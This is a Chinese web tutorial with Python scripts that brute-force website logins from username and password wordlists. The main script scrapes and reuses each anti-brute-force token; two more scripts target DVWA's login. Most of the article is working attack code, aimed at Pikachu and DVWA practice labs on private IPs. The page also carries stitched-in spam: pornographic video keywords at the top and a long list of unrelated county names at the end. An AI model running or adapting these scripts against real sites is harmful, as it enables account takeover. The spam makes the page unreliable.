最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

Python實(shí)現(xiàn)破解網(wǎng)站登錄密碼(帶token驗(yàn)證)

 更新時(shí)間:2022年02月07日 16:13:12   作者:CVE-檸檬i  
這篇文章主要為大家介紹一個(gè)Python暴力破解網(wǎng)站登錄密碼腳本(帶token驗(yàn)證),文中的過(guò)程講解詳細(xì),對(duì)我們學(xué)習(xí)Python有一定的幫助,感興趣的可以學(xué)習(xí)一下

前言

上一篇暴力破解文章:一個(gè)簡(jiǎn)單的Python暴力破解網(wǎng)站登錄密碼腳本

測(cè)試靶機(jī)為Pikachu漏洞練習(xí)平臺(tái)暴力破解模塊下的 “token防爆破?”

春節(jié)期間歇了一陣子,吃睡玩看小說(shuō)。寫這個(gè)腳本的起因是因?yàn)閎urp設(shè)置帶token的暴力破解我只會(huì)用pitchfork草叉模式,要是用cluster bomb集束炸彈模式笛卡兒積那樣就不會(huì)了,所以就干脆把之前寫的腳本加了點(diǎn)東西實(shí)現(xiàn)這個(gè)功能了,到時(shí)候有空再學(xué)學(xué)多線程,爆破速度就更快了。

關(guān)鍵代碼解釋

設(shè)置請(qǐng)求頭

5~11行:指定url地址和請(qǐng)求頭,user_token設(shè)置首次發(fā)送請(qǐng)求包時(shí)的token值。

url = "http://192.168.171.30/pikachu/vul/burteforce/bf_token.php"
user_token = '8680761fe979039a6f836599906'
header = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0',
    'Cookie': 'PHPSESSID=17u0i2fakm84eq9oc24boc8715'
}

get_token函數(shù)獲取token值

13~16行:這個(gè)函數(shù)返回從響應(yīng)包中獲取的token

在http響應(yīng)包中有一個(gè)隱藏的標(biāo)簽里面有token值:

<input type="hidden" name="token" value="5874161fe8db950ca7993759020" />

第15行:soup.select查找標(biāo)簽名為input,name為token的元素的value的值。

def get_token(r):
    soup = BeautifulSoup(r.text, 'html.parser')
    user_token = soup.select('input[name="token"]')[0]['value']
    return user_token

完整代碼

from bs4 import BeautifulSoup
import requests
from requests.models import Response

url = "http://192.168.171.30/pikachu/vul/burteforce/bf_token.php"
user_token = '8680761fe979039a6f836599906'
#proxies = {"http": "http://127.0.0.1:8080"} ?# 代理設(shè)置,方便burp抓包查看和調(diào)試
header = {
? ? 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0',
? ? 'Cookie': 'PHPSESSID=17u0i2fakm84eq9oc24boc8715'
}

def get_token(r):
? ? soup = BeautifulSoup(r.text, 'html.parser')
? ? user_token = soup.select('input[name="token"]')[0]['value']
? ? return user_token

if __name__ == "__main__":
? ? f = open('result.csv', 'w') ? ? #把爆破結(jié)果儲(chǔ)存到文件里,這里為csv格式
? ? f.write('用戶名' + ',' + '密碼' + ',' + '包長(zhǎng)度' + '\n') ? ?#給文件設(shè)置標(biāo)題

? ? #遍歷字典文件,Cluster bomb 暴力破解
? ? for admin in open("C:\\Users\\admin\\Documents\\字典\\賬號(hào).txt"):
? ? ? ? for line in open("C:\\Users\\admin\\Documents\\字典\\密碼.txt"):
? ? ? ? ? ? username = admin.strip()
? ? ? ? ? ? password = line.strip()
? ? ? ? ? ? payload = { ? ? #payload為POST的數(shù)據(jù)
? ? ? ? ? ? ? ? 'username': username,
? ? ? ? ? ? ? ? 'password': password,
? ? ? ? ? ? ? ? 'token': user_token,
? ? ? ? ? ? ? ? 'submit': 'Login'
? ? ? ? ? ? }

? ? ? ? ? ? Response = requests.post(url, data=payload, headers=header)
? ? ? ? ? ? result = username + ',' + password + ',' + str(len(Response.text)) ?#用戶名密碼以及響應(yīng)包長(zhǎng)度

? ? ? ? ? ? print(result) ? ? ? ? ? #輸出到終端
? ? ? ? ? ? f.write(result + '\n') ?#輸出到文件
? ? ? ? ? ? user_token = get_token(Response) ? ?#調(diào)用get_token函數(shù)獲取下一次循環(huán)需要的token
? ? print('\n---完成---\n')
? ? f.close()

運(yùn)行結(jié)果

查看保存的文件,查看包長(zhǎng)度與其他不一樣的數(shù)據(jù)

這里csv不會(huì)顯示前綴會(huì)自動(dòng)去掉首位0,可以把文件改成txt格式就正常顯示了

嘗試登陸一下,登錄成功。

補(bǔ)充

下面小編為大家補(bǔ)充了另外兩個(gè)利用Python實(shí)現(xiàn)破解網(wǎng)站登錄密碼的示例代碼,希望對(duì)大家有所幫助

方法一:

import requests

url = "http://192.168.171.2/dvwa/vulnerabilities/brute/"
#proxies= {"http":"http://127.0.0.1:8080"}  #代理設(shè)置,方便burp抓包查看
header = {
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0',
'Cookie':'security=medium; PHPSESSID=bdi0ak5mqbud69nrnejgf8q00u'
}

f = open('result.csv','w')
f.write('狀態(tài)碼' + ',' + '用戶名' + ',' + '密碼' + ',' + '包長(zhǎng)度' + '\n')
for admin in open("C:\\Users\\admin\\Documents\\字典\\賬號(hào).txt"):
    for line in open("C:\\Users\\admin\\Documents\\字典\\密碼.txt"):
        username = admin.strip()
        password = line.strip()
        payload = {'username':username,'password':password,"Login":'Login'}
        Response = requests.get(url,params=payload,headers=header)
        result = str(Response.status_code) + ',' + username + ','\
            + password + ',' + str(len(Response.content))
        f.write(result + '\n')
        
        print('\n完成')

方法二:

import requests

url = "http://192.168.171.2/dvwa/vulnerabilities/brute/"
#proxies= {"http":"http://127.0.0.1:8080"}  #代理設(shè)置,方便burp抓包查看
header = {
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0',
'Cookie':'security=medium; PHPSESSID=bdi0ak5mqbud69nrnejgf8q00u'
}

f = open('result.txt','w')
for admin in open("C:\\Users\\admin\\Documents\\字典\\賬號(hào).txt"):
    for line in open("C:\\Users\\admin\\Documents\\字典\\密碼.txt"):
        username = admin.strip()
        password = line.strip()
        payload = {'username':username,'password':password,"Login":'Login'}
        Response = requests.get(url,params=payload,headers=header)
        if not(Response.text.find('Welcome to the password protected area')==-1):
            result = username + ':' + password
            print(result)
            f.write(result + '\n')
            
            print('\n完成')

以上就是Python實(shí)現(xiàn)破解網(wǎng)站登錄密碼(帶token驗(yàn)證)的詳細(xì)內(nèi)容,更多關(guān)于Python破解網(wǎng)站登錄密碼的資料請(qǐng)關(guān)注腳本之家其它相關(guān)文章!

相關(guān)文章

最新評(píng)論

岳池县| 永新县| 临猗县| 抚顺市| 太仓市| 铜山县| 隆回县| 武平县| 龙川县| 株洲县| 巨野县| 长泰县| 盐亭县| 申扎县| 观塘区| 措美县| 新安县| 延长县| 靖宇县| 贵德县| 昌乐县| 泸水县| 德安县| 聂拉木县| 平利县| 丰台区| 纳雍县| 湛江市| 金湖县| 元氏县| 淅川县| 文安县| 嘉荫县| 阳春市| 武功县| 翁牛特旗| 开阳县| 仪征市| 凤阳县| 大邑县| 沅江市|